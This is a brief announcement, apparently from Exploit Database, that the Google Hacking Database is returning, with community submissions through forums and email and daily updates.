We will be accepting new submissions through our new forums and email. For more information about sending in GHDB submissions by email, check here.  We will be updating the GHDB on a daily basis based on submissions by the community. We have opened forums for both EDB and GHDB conversation. Feel free to sign up and read the rules and guidelines here.

It is our hope that by bringing back the GHDB, we can work together to rekindle the original spirit of exploration of the GHDB community.

http://www.exploit-db.com/google-hacking-database-reborn/